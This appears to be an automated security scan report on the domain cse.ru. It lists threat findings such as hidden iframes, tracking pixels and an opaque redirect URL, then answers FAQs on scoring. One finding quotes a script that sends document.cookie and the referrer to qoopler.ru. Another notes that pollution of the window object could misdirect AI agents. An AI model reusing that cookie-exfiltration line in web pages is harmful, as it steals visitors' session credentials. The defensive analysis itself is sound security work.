8 threat patterns detected

medium

encoded payload

suspicious base64-like blobs detected in page content

high

cloaking

Page loads content in transparent or zero-size iframe overlay

medium

hidden content

Tracking pixel loaded off-screen via position:absolute;left:-9999px — standard analytics practice (Top.Mail.Ru, Yandex.Metrika noscript fallbacks), but constitutes hidden content that exfiltrates visitor data, referrer, and page-view events to third-party Russian tracking infrastructure without conspicuous user disclosure beyond a cookie banner. (location: page.html:128-139)

low

hidden content

Google Tag Manager noscript iframe is rendered with display:none;visibility:hidden, silently loading GTM environment and executing configured tags without visible indication to the user. (location: page.html:133-136)

low

malicious redirect

The site-settings JSON block assigns window.rocketdata_url to 'https://rdata.one/vz1d' — a short/opaque URL hosted on a domain unrelated to cse.ru. This URL is then merged onto the window object via Object.assign(window, config), potentially making it available to all scripts for redirect or data-routing purposes. The destination domain rdata.one is not transparent. (location: page.html:142-163 (site-settings JSON + inline script))

medium

hidden content

A script dynamically loads 'https://qoopler.ru/index.php' passing the full document.cookie value and the referrer as URL query parameters: s.src = 'https://qoopler.ru/index.php?ref='+d.referrer+'&cookie='+encodeURIComponent(document.cookie). This sends all cookies set on the cse.ru domain and the referring URL to a third-party server (qoopler.ru) on every page load. This is an anomalous data exfiltration pattern not disclosed in the cookie banner. (location: page.html:970-981 / page-text.txt:792-803)

high

credential harvesting

The script at page.html:970-981 sends the full document.cookie (including session tokens, CSRF tokens, and any authentication cookies for cse.ru) along with the document.referrer to qoopler.ru via a GET request. The CSRF token 'T3wzDg6bKP0yPvDynCkLquV3C6o1buOlyCdkdcmm' is present in the page meta tag and could be among the cookies exfiltrated to this third-party endpoint. (location: page.html:6 (csrf-token meta), page.html:970-981 (qoopler script))

low

prompt injection

The site-settings script uses Object.assign(window, config) to pollute the global window object with attacker-influenced keys from a JSON block (including 'lk_url', 'rocketdata_url', 'locale', etc.). If any AI agent or browser automation tool reads window properties to determine navigation targets or locale, these values — including the opaque rdata.one URL — could redirect agent actions to unintended destinations. (location: page.html:154-163)

FAQ: how to interpret this assessment

Common questions teams ask before deciding whether to use this domain in agent workflows.

Is cse.ru safe for AI agents to use?

cse.ru currently scores 47/100 with a suspicious verdict and medium confidence. The goal is to protect agents from high-risk context before they act on it. Treat this as a decision signal: higher scores suggest lower observed risk, while lower scores mean you should add review or block this domain.

How should I interpret the score and verdict?

Use the score as a policy threshold: 80–100 is safe, 50–79 is caution, 20–49 is suspicious, and 0–19 is dangerous. Teams often auto-allow safe, require human review for caution/suspicious, and block dangerous.

How does brin compute this domain score?

brin evaluates four dimensions: identity (source trust), behavior (runtime patterns), content (malicious instructions), and graph (relationship risk). Analysis runs in tiers: static signals, deterministic pattern checks, then AI semantic analysis when needed.

What do identity, behavior, content, and graph mean for this domain?

Identity checks source trust, behavior checks unusual runtime patterns, content checks for malicious instructions, and graph checks risky relationships to other entities. Looking at sub-scores helps you understand why an entity passed or failed.

Why does brin scan packages, repos, skills, MCP servers, pages, and commits?

brin performs risk assessments on external context before it reaches an AI agent. It scores that context for threats like prompt injection, hijacking, credential harvesting, and supply chain attacks, so teams can decide whether to block, review, or proceed safely.

Can I rely on a safe verdict as a full security guarantee?

No. A safe verdict means no significant risk signals were detected in this scan. It is not a formal guarantee; assessments are automated and point-in-time, so combine scores with your own controls and periodic re-checks.

When should I re-check before using an entity?

Re-check before high-impact actions such as installs, upgrades, connecting MCP servers, executing remote code, or granting secrets. Use the API in CI or runtime gates so decisions are based on the latest scan.
